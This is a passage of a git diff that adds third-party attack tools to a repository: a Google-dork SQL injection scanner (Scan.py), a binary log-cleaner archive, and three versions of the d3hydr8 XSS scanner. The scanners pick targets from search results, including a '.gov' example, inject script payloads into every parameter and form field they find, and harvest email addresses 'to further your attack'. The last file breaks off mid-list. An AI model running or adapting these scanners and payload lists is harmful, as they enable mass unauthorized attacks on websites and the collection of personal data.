+        fp=open("logs/"+reportfile,"w")
+
+        for i in range(len(urls)):
+
+                fp.write(urls[i]+":\n")
+                reporturl=reportvar[urls[i]]
+                if not listempty(reporturl):
+
+                        if not listempty(reporturl[0]):
+                                if not listempty(reporturl[0][0]) or not listempty(reporturl[0][1]):
+                                        reporturl[0][0].sort()
+                                        reporturl[0][1].sort()
+
+                                        fp.write(indent+"GET: ")
+                                        if not listempty(reporturl[0][0]):
+                                                fp.write("SQLI - "+str(reporturl[0][0]))
+                                                if not listempty(reporturl[0][1]):
+                                                        fp.write(" | ")
+                                        if not listempty(reporturl[0][1]):
+                                                fp.write("XSS - "+str(reporturl[0][1]))
+                                        fp.write("\n")
+
+                        if not listempty(reporturl[1]):
+                                if not listempty(reporturl[1][0]) or not listempty(reporturl[1][1]):
+                                        reporturl[1][0].sort()
+                                        reporturl[1][1].sort()
+
+                                        fp.write(indent+"POST: ")
+                                        if not listempty(reporturl[1][0]):
+                                                fp.write("SQLI - "+str(reporturl[1][0]))
+                                                if not listempty(reporturl[1][1]):
+                                                        fp.write(" | ")
+                                        if not listempty(reporturl[1][1]):
+                                                fp.write("XSS - "+str(reporturl[1][1]))
+                                        fp.write("\n")
+
+
+                        fp.write("\n")
+
+        fp.write("\n"+timeout+"\n")
+
+        fp.close()
+
+print "Report Written: "+reportfile
+
+## end write report ##
+
+### END ###
\ No newline at end of file
diff --git a/3rdparty/PyLogcleaner.tar.gz b/3rdparty/PyLogcleaner.tar.gz
new file mode 100644
index 0000000..f140c31
Binary files /dev/null and b/3rdparty/PyLogcleaner.tar.gz differ
diff --git a/3rdparty/Scan.py b/3rdparty/Scan.py
new file mode 100644
index 0000000..864f7bd
--- /dev/null
+++ b/3rdparty/Scan.py
@@ -0,0 +1,63 @@
+#PYTHON SQL Injection vulnerability scanner (Powered by Google.)
+#Coded by : wh4tsec
+#GNU General Public License, version 2 (GPL-2.0)
+ 
+ 
+#!/usr/bin/python
+import urllib2
+import sys
+ 
+#          Name of the output file ex: vul.dat
+filename = "vul.dat"
+ 
+# This function gets a site url and returns 1 if its vulnurable. else, 0 will be returned
+def isvul ( url ):
+    usock = urllib2.urlopen(url)
+    data = usock.read()
+    usock.close()
+    if "You have an error in your SQL" in data:
+       return 1;
+    elif "supplied argument is not a valid MySQL result resource in" in data:
+       return 1;
+    elif "Division by zero in" in data:
+       return 1;
+    elif "Microsoft JET Database" in data:
+       return 1;
+    elif "Microsoft OLE DB Provider for SQL Server" in data:
+       return 1;
+    elif "ODBC Microsoft Access Driver" in data:
+       return 1;
+    elif "Unclosed quotation mark" in data:
+       return 1;
+    elif "Microsoft OLE DB Provider for Oracle" in data:
+       return 1;
+    elif "Incorrect syntax near" in data:
+       return 1;
+    elif "SQL query failed" in data:
+       return 1;
+    return 0;
+# Gets inputs from user
+dork = raw_input("Enter dork: ")
+ttld = raw_input("Enter tld: ")
+lng = raw_input("Language: ")
+results = raw_input("Results: ")
+ 
+file = open(filename,"w")
+print 'WORKING',
+ 
+# Getting matched urls from google
+from google import search
+for url in search('inurl:' + dork, tld='' + ttld, lang='' + lng, stop=(0 + int(results))):
+    url = url + "'"
+    print '.',
+    if isvul(url) == 1:
+       file.write(url)
+       file.write("\r\n")
+       print 'BOOM!',
+ 
+file.close()
+ 
+print "\r\nDone, urls of vulnurable sites saved in 'vul.dat'"
+print "coded by: wh4tsec"
+print "------------------------------------------------------"
+print "Credits: BeautifulSoup-2.3.0 And Google Search Python"
diff --git a/3rdparty/XSSscan.py b/3rdparty/XSSscan.py
new file mode 100644
index 0000000..13d4e60
--- /dev/null
+++ b/3rdparty/XSSscan.py
@@ -0,0 +1,326 @@
+#!/usr/bin/python
+#XSS Scanner that can find hosts using a google query or search one site.
+#If XSS is found it attempts to collect email addresses to further your attack
+#or warn the target of the flaw. When the scan is complete 
+#it will print out the XSS's found and or write to file, it will find false positives
+#so manually check before getting to excited. It also has verbose mode and
+#you can change the alert pop-up message, check options!!
+#
+#Changelog v1.1: added options, verbose, write to file, change alert
+#Changelog v1.2: added more xss payloads, an exception, better syntax, more runtime feedback
+#Changelog v1.3: added https support, more xss payloads, the ability to change port, fixed some user input #problems, exiting without error messages with Ctrl-C (KeyboardInterrupt)
+#
+#http://darkcode.ath.cx
+#d3hydr8[at]gmail[dot]com
+
+import sys, urllib2, re, sets, random, httplib, time, socket
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com XSS Scanner v1.3"
+	print "\t-----------------------------------------------"
+	
+def usage():
+	title()
+	print "\n  Usage: python XSSscan.py <option>\n"
+	print "\n  Example: python XSSscan.py -g inurl:'.gov' 200 -a 'XSS h4ck3d' -write xxs_found.txt -v\n"
+	print "\t[options]"
+	print "\t   -g/-google <query> <num of hosts> : Searches google for hosts"
+	print "\t   -s/-site <website> <port>: Searches just that site, (default port 80)"
+	print "\t   -a/-alert <alert message> : Change the alert pop-up message"	
+	print "\t   -w/-write <file> : Writes potential XSS found to file"
+	print "\t   -v/-verbose : Verbose Mode\n"
+
+def StripTags(text):
+     finished = 0
+     while not finished:
+         finished = 1
+         start = text.find("<")
+         if start >= 0:
+             stop = text[start:].find(">")
+             if stop >= 0:
+                 text = text[:start] + text[start+stop+1:]
+                 finished = 0
+     return text
+	
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def geturls(query):
+	
+	counter =  10
+	urls = []
+	
+	while counter < int(sys.argv[3]):
+		url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'
+		opener = urllib2.build_opener(url)
+		opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
+		data = opener.open(url).read()
+		hosts = re.findall(('\w+\.[\w\.\-/]*\.\w+'),StripTags(data))
+		#Lets add sites found to a list if not already or a google site.
+		#We don't want to upset the people that got our list for us.
+		for x in hosts:
+			if x.find('www') != -1:
+				x = x[x.find('www'):]
+			if x not in urls and re.search("google", x) == None:
+				urls.append(x)
+		counter += 10
+	return urls
+		
+def getemails(site):
+
+	try:
+		if site.split("/",1)[0] not in done:
+			print "\t[+] Collecting Emails:",site.split("/",1)[0]
+			webpage = urllib2.urlopen(proto+"://"+site.split("/",1)[0], port).read()
+			emails = re.findall('[\w\.\-]+@[\w\.\-]+\.\w\w\w', webpage)
+			done.append(site.split("/",1)[0])
+			if emails:
+				return emails
+	except(KeyboardInterrupt):
+		print "\n[-] Cancelled -",timer(),"\n"
+		sys.exit(1)
+	except(IndexError):
+		pass
+	
+def getvar(site):
+	
+	names = []
+	actions = []
+	print "\n","-"*45
+	print "[+] Searching:",site
+	try:
+		webpage = urllib2.urlopen(proto+"://"+site, port).read()
+		emails = re.findall('[\w\.\-]+@[\w\.\-]+\.\w\w\w', webpage)
+		var = re.findall("\?[\w\.\-/]*\=",webpage)
+		if len(var) >=1:
+			var = list(sets.Set(var))
+		found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower())
+		found_action = list(sets.Set(found_action))
+		if len(found_action) >= 1:
+			for a in found_action:
+				a = a.split('"',2)[1]
+				try:
+					if a[0] != "/":
+						a = "/"+a
+				except(IndexError):
+						pass
+				actions.append(a)
+		found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower())
+		found_names = list(sets.Set(found_names))
+		for n in found_names:
+			names.append(n.split('"',2)[1])
+		print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names)
+		print "[+] Avg Requests:",(len(var)+len(names)+(len(actions)*len(names))+(len(actions)*len(names)))*len(xss_payloads)
+		if len(var) >= 1:
+			for v in var:
+				if site.count("/") >= 2:
+					for x in xrange(site.count("/")):
+						for xss in xss_payloads:
+							tester(site.rsplit('/',x+1)[0]+"/"+v+xss)
+				for xss in xss_payloads:
+					tester(site+"/"+v+xss)
+		
+		if len(names) >= 1:
+			for n in names:
+				if site.count("/") >= 2:
+					for x in xrange(site.count("/")):
+						for xss in xss_payloads:
+							tester(site.rsplit('/',x+1)[0]+"/"+"?"+n+"="+xss)
+				for xss in xss_payloads:
+					tester(site+"/"+"?"+n+"="+xss)
+		
+		if len(actions) != 0 and len(names) >= 1:
+			for a in actions:
+				for n in names:
+					if site.count("/") >= 2:
+						for x in xrange(site.count("/")):
+							for xss in xss_payloads:
+								tester(site.rsplit('/',x+1)[0]+a+"?"+n+"="+xss)
+					#tester(site.split("/")[0]+a+"?"+n+"="+xss)
+			
+		if len(actions) != 0 and len(var) >= 1:
+			for a in actions:
+				for v in var:
+					if site.count("/") >= 2:
+						for x in xrange(site.count("/")):
+							for xss in xss_payloads:
+								tester(site.rsplit('/',x+1)[0]+a+v+xss)
+					else:
+						for xss in xss_payloads:
+							tester(site.split("/")[0]+a+v+xss)	
+		if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":
+			urls.remove(site)
+	
+	except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror):
+		if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":
+			urls.remove(site)
+		pass
+	except(KeyboardInterrupt):
+		print "\n[-] Cancelled -",timer(),"\n"
+		sys.exit(1)
+			
+def tester(target):
+	
+	if verbose ==1:
+		if message != "":
+			print "Target:",target.replace(alert ,message)
+		else:
+			print "Target:",target
+	
+	try:
+		source = urllib2.urlopen(proto+"://"+target, port).read()
+		h = httplib.HTTPConnection(target.split('/')[0], int(port))
+		try:
+			h.request("GET", "/"+target.split('/',1)[1])
+		except(IndexError):
+			h.request("GET", "/")
+		r1 = h.getresponse()
+		if verbose ==1:
+			print "\t[+] Response:",r1.status, r1.reason
+		if re.search(alert.replace("%2D","-"), source) != None and r1.status not in range(303, 418):
+			if target not in found_xss:
+				if message != "":
+					print "\n[!] XSS:", target.replace(alert ,message)
+				else:
+					print "\n[!] XSS:", target
+				print "\t[+] Response:",r1.status, r1.reason
+				emails = getemails(target)
+				if emails:
+					print "\t[+] Email:",len(emails),"addresses\n"
+					found_xss.setdefault(target, list(sets.Set(emails)))
+				else:
+					found_xss[target] = "None"
+	except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine, httplib.IncompleteRead, httplib.InvalidURL):
+		pass
+	except(KeyboardInterrupt):
+		print "\n[-] Cancelled -",timer(),"\n"
+		sys.exit(1)
+	except():
+		pass
+				
+if len(sys.argv) <= 2:
+	usage()
+	sys.exit(1)
+ 
+for arg in sys.argv[1:]:
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	if arg.lower() == "-w" or arg.lower() == "-write":
+		txt = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-a" or arg.lower() == "-alert":
+		message = re.sub("\s","%2D",sys.argv[int(sys.argv[1:].index(arg))+2])
+		
+title()
+socket.setdefaulttimeout(10)
+found_xss = {}
+done = []
+count = 0
+proto = "http"
+alert = "D3HYDR8%2D0wNz%2DY0U"
+print "\n[+] XSS_scan Loaded"
+try:
+	if verbose ==1:
+		print "[+] Verbose Mode On"
+except(NameError):
+	verbose = 0
+	print "[-] Verbose Mode Off"
+try:
+	if message:
+		print "[+] Alert:",message
+except(NameError):
+	print "[+] Alert:",alert
+	message = ""
+	pass
+
+xss_payloads = ["%22%3E%3Cscript%3Ealert%28%27"+alert+"%27%29%3C%2Fscript%3E",
+	"%22%3E<IMG SRC=\"javascript:alert(%27"+alert+"%27);\">",
+	"%22%3E<script>alert(String.fromCharCode(68,51,72,89,68,82,56,45,48,119,78,122,45,89,48,85));</script>",
+	"'';!--\"<%27"+alert+"%27>=&{()}",
+	"';alert(0)//\';alert(1)//%22;alert(2)//\%22;alert(3)//--%3E%3C/SCRIPT%3E%22%3E'%3E%3CSCRIPT%3Ealert(%27"+alert+"%27)%3C/SCRIPT%3E=&{}%22);}alert(6);function",
+	"</textarea><script>alert(%27"+alert+"%27)</script>"]
+try:
+	if txt:
+		print "[+] File:",txt
+except(NameError):
+	txt = None
+	pass
+print "[+] XSS Payloads:",len(xss_payloads)
+if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":	
+	try:
+		if sys.argv[3].isdigit() == False:
+			print "\n[-] Argument [",sys.argv[3],"] must be a number.\n"
+			sys.exit(1)
+		else:
+			if int(sys.argv[3]) <= 10:
+				print "\n[-] Argument [",sys.argv[3],"] must be greater than 10.\n"
+				sys.exit(1)
+	except(IndexError):
+			print "\n[-] Need number of hosts to collect.\n"
+			sys.exit(1)
+	query = re.sub("\s","+",sys.argv[2])
+	port = "80"
+	print "[+] Query:",query
+	print "[+] Querying Google..."
+	urls = geturls(query)
+	print "[+] Collected:",len(urls),"hosts"
+	print "[+] Started:",timer()
+	print "\n[-] Cancel: Press Ctrl-C"
+	time.sleep(3)
+	while len(urls) > 0:
+		print "-"*45
+		print "\n[-] Length:",len(urls),"remain"
+		getvar(random.choice(urls))
+if sys.argv[1].lower() == "-s" or sys.argv[1].lower() == "-site":
+	site = sys.argv[2]
+	try:
+		if sys.argv[3].isdigit() == False:
+			port = "80"
+		else:
+			port = sys.argv[3]
+	except(IndexError):
+		port = "80"
+	print "[+] Site:",site
+	print "[+] Port:",port
+	if site[:7] == "http://":
+		site = site.replace("http://","")
+	if site[:8] == "https://":
+		proto = "https"
+		if port == "80":
+			print "[!] Using port 80 with https? (443)"
+		site = site.replace("https://","")
+	print "[+] Started:",timer()
+	print "\n[-] Cancel: Press Ctrl-C"
+	time.sleep(4)
+	getvar(site)
+
+print "-"*65
+print "\n\n[+] Potential XSS found:",len(found_xss),"\n"
+time.sleep(3)
+if txt != None and len(found_xss) >=1:
+	xss_file = open(txt, "a")
+	xss_file.writelines("\n\td3hydr8[at]gmail[dot]com XSS Scanner v1.3\n")
+	xss_file.writelines("\t------------------------------------------\n\n")
+	print "[+] Writing Data:",txt
+else:
+	print "[-] No data written to disk"
+for k in found_xss.keys():
+	count+=1
+	if txt != None:
+		if message != "":
+			xss_file.writelines("["+str(count)+"] "+k.replace(alert ,message)+"\n")
+		else:
+			xss_file.writelines("["+str(count)+"] "+k+"\n")
+	if message != "":
+		print "\n["+str(count)+"]",k.replace(alert ,message)
+	else:
+		print "\n["+str(count)+"]",k
+	addrs = found_xss[k]
+	if addrs != "None":
+		print "\t[+] Email addresses:" 
+		for addr in addrs: 
+			if txt != None:
+				xss_file.writelines("\tEmail: "+addr+"\n")
+			print "\t   -",addr
+print "\n[-] Done -",timer(),"\n"
+
diff --git a/3rdparty/XSSscan_v1.1.py b/3rdparty/XSSscan_v1.1.py
new file mode 100644
index 0000000..9028e9f
--- /dev/null
+++ b/3rdparty/XSSscan_v1.1.py
@@ -0,0 +1,258 @@
+#!/usr/bin/python
+#XSS Scanner that can find hosts using a google query or search one site.
+#If XSS is found it attempts to collect email addresses to further your attack
+#or warn the target of the flaw. When the scan is complete 
+#it will print out the XSS's found and or write to file, it will find false positives
+#so manually check before getting to excited. It also has verbose mode and
+#you can change the alert pop-up message, check options!!
+#Warning: Don't change the alert pop-up to something that will be different in the source. (symbol encoding)
+#d3hydr8[at]gmail[dot]com
+
+import sys, urllib2, re, sets, random, httplib, time, socket
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com XSS Scanner v1.1"
+	print "\t-----------------------------------------------"
+	
+def usage():
+	title()
+	print "\n  Usage: python XSSscan.py <option>\n"
+	print "\n  Example: python XSSscan.py -g inurl:'.gov' 200 -a 'XSS h4ck3d' -write xxs_found.txt -v\n"
+	print "\t[options]"
+	print "\t   -g/-google <query> <num of hosts> : Searches google for hosts"
+	print "\t   -s/-site <website> : Searches just that site"
+	print "\t   -a/-alert <alert message> : Change the alert pop-up message"	
+	print "\t   -w/-write <file> : Writes potential XSS found to file"
+	print "\t   -v/-verbose : Verbose Mode\n"
+
+def StripTags(text):
+     finished = 0
+     while not finished:
+         finished = 1
+         start = text.find("<")
+         if start >= 0:
+             stop = text[start:].find(">")
+             if stop >= 0:
+                 text = text[:start] + text[start+stop+1:]
+                 finished = 0
+     return text
+	
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def geturls(query):
+	
+	counter =  10
+	urls = []
+	
+	while counter < int(sys.argv[3]):
+		url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'
+		opener = urllib2.build_opener(url)
+		opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
+		data = opener.open(url).read()
+		hosts = re.findall(('\w+\.[\w\.\-/]*\.\w+'),StripTags(data))
+		#Lets add sites found to a list if not already or a google site.
+		#We don't want to upset the people that got our list for us.
+		for x in hosts:
+			if x.find('www') != -1:
+				x = x[x.find('www'):]
+			if x not in urls and re.search("google", x) == None:
+				urls.append(x)
+		counter += 10
+	return urls
+		
+def getemails(site):
+
+	try:
+		if site.split("/",1)[0] not in done:
+			print "\t[+] Collecting Emails:",site.split("/",1)[0]
+			webpage = urllib2.urlopen("http://"+site.split("/",1)[0]).read()
+			emails = re.findall('[\w\.\-]+@[\w\.\-]+\.\w\w\w', webpage)
+			done.append(site.split("/",1)[0])
+			if emails:
+				return emails
+	except(IndexError):
+		pass
+	
+def getvar(site):
+	
+	names = []
+	actions = []
+	print "\n","-"*45
+	print "[+] Searching:",site
+	try:
+		webpage = urllib2.urlopen("http://"+site).read()
+		emails = re.findall('[\w\.\-]+@[\w\.\-]+\.\w\w\w', webpage)
+		var = re.findall("\?[\w\.\-/]*\=",webpage)
+		if len(var) >=1:
+			var = list(sets.Set(var))
+		found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower())
+		found_action = list(sets.Set(found_action))
+		if len(found_action) >= 1:
+			for a in found_action:
+				a = a.split('"',2)[1]
+				try:
+					if a[0] != "/":
+						a = "/"+a
+				except(IndexError):
+						pass
+				actions.append(a)
+		found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower())
+		found_names = list(sets.Set(found_names))
+		for n in found_names:
+			names.append(n.split('"',2)[1])
+		print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names)
+		
+		if len(var) >= 1:
+			for v in var:
+				if site.count("/") >= 2:
+					for x in xrange(site.count("/")):
+						tester(site.rsplit('/',x+1)[0]+"/"+v+xss)
+				tester(site+"/"+v+xss)
+		
+		if len(names) >= 1:
+			for n in names:
+				if site.count("/") >= 2:
+					for x in xrange(site.count("/")):
+						tester(site.rsplit('/',x+1)[0]+"/"+"?"+n+"="+xss)
+				tester(site+"/"+"?"+n+"="+xss)
+		
+		if len(actions) != 0 and len(names) >= 1:
+			for a in actions:
+				for n in names:
+					if site.count("/") >= 2:
+						for x in xrange(site.count("/")):
+							tester(site.rsplit('/',x+1)[0]+a+"?"+n+"="+xss)
+					#tester(site.split("/")[0]+a+"?"+n+"="+xss)
+			
+		if len(actions) != 0 and len(var) >= 1:
+			for a in actions:
+				for v in var:
+					if site.count("/") >= 2:
+						for x in xrange(site.count("/")):
+							tester(site.rsplit('/',x+1)[0]+a+v+xss)
+					else:
+						tester(site.split("/")[0]+a+v+xss)	
+		if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":
+			urls.remove(site)
+	
+	except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror):
+		if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":
+			urls.remove(site)
+		pass
+			
+def tester(target):
+	
+	if verbose ==1:
+		print "Target:",target
+	
+	try:
+		source = urllib2.urlopen("http://"+target).read()
+		h = httplib.HTTPConnection(target.split('/')[0])
+		try:
+			h.request("GET", "/"+target.split('/',1)[1])
+		except(IndexError):
+			h.request("GET", "/")
+		r1 = h.getresponse()
+		if re.search(xss.split("%27", 2)[1].replace("%2D","-"), source) != None and r1.status not in range(300, 418):
+			if target not in found_xss:
+				print "\n[!] XSS:", target
+				print "\t[+] Response:",r1.status, r1.reason
+				emails = getemails(target)
+				if emails:
+					print "\t[+] Email:",len(emails),"addresses\n"
+					found_xss.setdefault(target, list(sets.Set(emails)))
+				else:
+					found_xss[target] = "None"
+	except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine):
+		pass
+	except():
+		pass
+				
+if len(sys.argv) <= 2:
+	usage()
+	sys.exit(1)
+ 
+for arg in sys.argv[1:]:
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	if arg.lower() == "-w" or arg.lower() == "-write":
+		txt = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-a" or arg.lower() == "-alert":
+		message = re.sub("\s","%2D",sys.argv[int(sys.argv[1:].index(arg))+2])
+		
+title()
+#the xss which is a standard alert popup box, feel free to change "d3hydr8 owns you" :)
+xss = "%22%3E%3Cscript%3Ealert%28%27D3HYDR8%2D0wNz%2DY0U%27%29%3C%2Fscript%3E" 
+socket.setdefaulttimeout(3)
+found_xss = {}
+done = []
+count = 0
+print "\n[+] XSS_scan Loaded"
+try:
+	if verbose ==1:
+		print "[+] Verbose Mode On"
+except(NameError):
+	verbose = 0
+	print "[+] Verbose Mode Off"
+try:
+	if message:
+		xss = xss.replace("D3HYDR8%2D0wNz%2DY0U",message)
+		print "[+] Alert:",message
+except(NameError):
+	print "[+] Alert: D3HYDR8%2D0wNz%2DY0U"
+	pass
+try:
+	if txt:
+		print "[+] File:",txt
+except(NameError):
+	txt = None
+	pass
+if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":	
+	if sys.argv[3].isdigit() == False:
+		print "\n[-] Host [ ",sys.argv[3],"] must be a number.\n"
+		sys.exit(1)
+	query = re.sub("\s","+",sys.argv[2])
+	print "[+] Query:",query
+	print "[+] Querying Google..."
+	urls = geturls(query)
+	print "[+] Collected:",len(urls),"hosts"
+	print "[+] Started:",timer()
+	time.sleep(3)
+	while len(urls) > 0:
+		print "-"*45
+		print "\n[-] Length:",len(urls),"remain"
+		getvar(random.choice(urls))
+if sys.argv[1].lower() == "-s" or sys.argv[1].lower() == "-site":
+	site = sys.argv[2]
+	print "[+] Site:",site
+	if site[:7] == "http://":
+		site = site.replace("http://","")
+	print "[+] Started:",timer()
+	time.sleep(3)
+	getvar(site)
+
+print "-"*65
+print "\n\n[+] Potential XSS found:",len(found_xss),"\n"
+time.sleep(3)
+if txt:
+	xss_file = open(txt, "a")
+for k in found_xss.keys():
+	count+=1
+	if txt:
+		print "[+] Writing Data:",txt
+		xss_file.writelines("["+str(count)+"] "+k+"\n")
+	print "\n["+str(count)+"]",k
+	addrs = found_xss[k]
+	if addrs != "None":
+		print "\t[+] Email addresses:" 
+		for addr in addrs: 
+			if txt:
+				xss_file.writelines("\t"+addr+"\n")
+			print "\t   -",addr
+print "\n[-] Done -",timer(),"\n"
+
+
+
+
diff --git a/3rdparty/XSSscan_v1.2.py b/3rdparty/XSSscan_v1.2.py
new file mode 100644
index 0000000..d8a9f18
--- /dev/null
+++ b/3rdparty/XSSscan_v1.2.py
@@ -0,0 +1,299 @@
+#!/usr/bin/python
+#XSS Scanner that can find hosts using a google query or search one site.
+#If XSS is found it attempts to collect email addresses to further your attack
+#or warn the target of the flaw. When the scan is complete 
+#it will print out the XSS's found and or write to file, it will find false positives
+#so manually check before getting to excited. It also has verbose mode and
+#you can change the alert pop-up message, check options!!
+#
+##Changelog v1.1: added options, verbose, write to file, change alert
+#Changelog v1.2: added more xss payloads, an exception, better syntax, More feedback
+#
+#d3hydr8[at]gmail[dot]com
+
+import sys, urllib2, re, sets, random, httplib, time, socket
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com XSS Scanner v1.2"
+	print "\t-----------------------------------------------"
+	
+def usage():
+	title()
+	print "\n  Usage: python XSSscan.py <option>\n"
+	print "\n  Example: python XSSscan.py -g inurl:'.gov' 200 -a 'XSS h4ck3d' -write xxs_found.txt -v\n"
+	print "\t[options]"
+	print "\t   -g/-google <query> <num of hosts> : Searches google for hosts"
+	print "\t   -s/-site <website> : Searches just that site"
+	print "\t   -a/-alert <alert message> : Change the alert pop-up message"	
+	print "\t   -w/-write <file> : Writes potential XSS found to file"
+	print "\t   -v/-verbose : Verbose Mode\n"
+
+def StripTags(text):
+     finished = 0
+     while not finished:
+         finished = 1
+         start = text.find("<")
+         if start >= 0:
+             stop = text[start:].find(">")
+             if stop >= 0:
+                 text = text[:start] + text[start+stop+1:]
+                 finished = 0
+     return text
+	
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+def geturls(query):
+	
+	counter =  10
+	urls = []
+	
+	while counter < int(sys.argv[3]):
+		url = 'http://www.google.com/search?hl=en&q='+query+'&hl=en&lr=&start='+repr(counter)+'&sa=N'
+		opener = urllib2.build_opener(url)
+		opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')]
+		data = opener.open(url).read()
+		hosts = re.findall(('\w+\.[\w\.\-/]*\.\w+'),StripTags(data))
+		#Lets add sites found to a list if not already or a google site.
+		#We don't want to upset the people that got our list for us.
+		for x in hosts:
+			if x.find('www') != -1:
+				x = x[x.find('www'):]
+			if x not in urls and re.search("google", x) == None:
+				urls.append(x)
+		counter += 10
+	return urls
+		
+def getemails(site):
+
+	try:
+		if site.split("/",1)[0] not in done:
+			print "\t[+] Collecting Emails:",site.split("/",1)[0]
+			webpage = urllib2.urlopen("http://"+site.split("/",1)[0]).read()
+			emails = re.findall('[\w\.\-]+@[\w\.\-]+\.\w\w\w', webpage)
+			done.append(site.split("/",1)[0])
+			if emails:
+				return emails
+	except(IndexError):
+		pass
+	
+def getvar(site):
+	
+	names = []
+	actions = []
+	print "\n","-"*45
+	print "[+] Searching:",site
+	try:
+		webpage = urllib2.urlopen("http://"+site).read()
+		emails = re.findall('[\w\.\-]+@[\w\.\-]+\.\w\w\w', webpage)
+		var = re.findall("\?[\w\.\-/]*\=",webpage)
+		if len(var) >=1:
+			var = list(sets.Set(var))
+		found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower())
+		found_action = list(sets.Set(found_action))
+		if len(found_action) >= 1:
+			for a in found_action:
+				a = a.split('"',2)[1]
+				try:
+					if a[0] != "/":
+						a = "/"+a
+				except(IndexError):
+						pass
+				actions.append(a)
+		found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower())
+		found_names = list(sets.Set(found_names))
+		for n in found_names:
+			names.append(n.split('"',2)[1])
+		print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names)
+		print "[+] Avg Requests:",(len(var)+len(names)+(len(actions)*len(names))+(len(actions)*len(names)))*len(xss_payloads)
+		if len(var) >= 1:
+			for v in var:
+				if site.count("/") >= 2:
+					for x in xrange(site.count("/")):
+						for xss in xss_payloads:
+							tester(site.rsplit('/',x+1)[0]+"/"+v+xss)
+				for xss in xss_payloads:
+					tester(site+"/"+v+xss)
+		
+		if len(names) >= 1:
+			for n in names:
+				if site.count("/") >= 2:
+					for x in xrange(site.count("/")):
+						for xss in xss_payloads:
+							tester(site.rsplit('/',x+1)[0]+"/"+"?"+n+"="+xss)
+				for xss in xss_payloads:
+					tester(site+"/"+"?"+n+"="+xss)
+		
+		if len(actions) != 0 and len(names) >= 1:
+			for a in actions:
+				for n in names:
+					if site.count("/") >= 2:
+						for x in xrange(site.count("/")):
+							for xss in xss_payloads:
+								tester(site.rsplit('/',x+1)[0]+a+"?"+n+"="+xss)
+					#tester(site.split("/")[0]+a+"?"+n+"="+xss)
+			
+		if len(actions) != 0 and len(var) >= 1:
+			for a in actions:
+				for v in var:
+					if site.count("/") >= 2:
+						for x in xrange(site.count("/")):
+							for xss in xss_payloads:
+								tester(site.rsplit('/',x+1)[0]+a+v+xss)
+					else:
+						for xss in xss_payloads:
+							tester(site.split("/")[0]+a+v+xss)	
+		if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":
+			urls.remove(site)
+	
+	except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror):
+		if sys.argv[1].lower() == "-g" or sys.argv[1].lower() == "-google":
+			urls.remove(site)
+		pass
+			
+def tester(target):
+	
+	if verbose ==1:
+		if message != "":
+			print "Target:",target.replace("D3HYDR8%2D0wNz%2DY0U",message)
+		else:
+			print "Target:",target
+	
+	try:
+		source = urllib2.urlopen("http://"+target).read()
+		h = httplib.HTTPConnection(target.split('/')[0])
+		try:
+			h.request("GET", "/"+target.split('/',1)[1])
+		except(IndexError):
+			h.request("GET", "/")
+		r1 = h.getresponse()
+		if verbose ==1:
+			print "\t[+] Response:",r1.status, r1.reason
+		if re.search(alert.replace("%2D","-"), source) != None and r1.status not in range(303, 418):
+			if target not in found_xss:
+				if message != "":
+					print "\n[!] XSS:", target.replace("D3HYDR8%2D0wNz%2DY0U",message)
+				else:
+					print "\n[!] XSS:", target
+				print "\t[+] Response:",r1.status, r1.reason
+				emails = getemails(target)
+				if emails:
+					print "\t[+] Email:",len(emails),"addresses\n"
+					found_xss.setdefault(target, list(sets.Set(emails)))
+				else:
+					found_xss[target] = "None"
+	except(socket.timeout, socket.gaierror, socket.error, IOError, ValueError, httplib.BadStatusLine, httplib.IncompleteRead, httplib.InvalidURL):
+		pass
+	except():
+		pass
+				
+if len(sys.argv) <= 2:
+	usage()
+	sys.exit(1)
+ 
+for arg in sys.argv[1:]:
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+	if arg.lower() == "-w" or arg.lower() == "-write":
+		txt = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-a" or arg.lower() == "-alert":
+		message = re.sub("\s","%2D",sys.argv[int(sys.argv[1:].index(arg))+2])
+		
+title()
+xss_payloads = ["%22%3E%3Cscript%3Ealert%28%27D3HYDR8%2D0wNz%2DY0U%27%29%3C%2Fscript%3E",
+		"%22%3E<IMG SRC=\"javascript:alert(%27D3HYDR8%2D0wNz%2DY0U%27);\">",
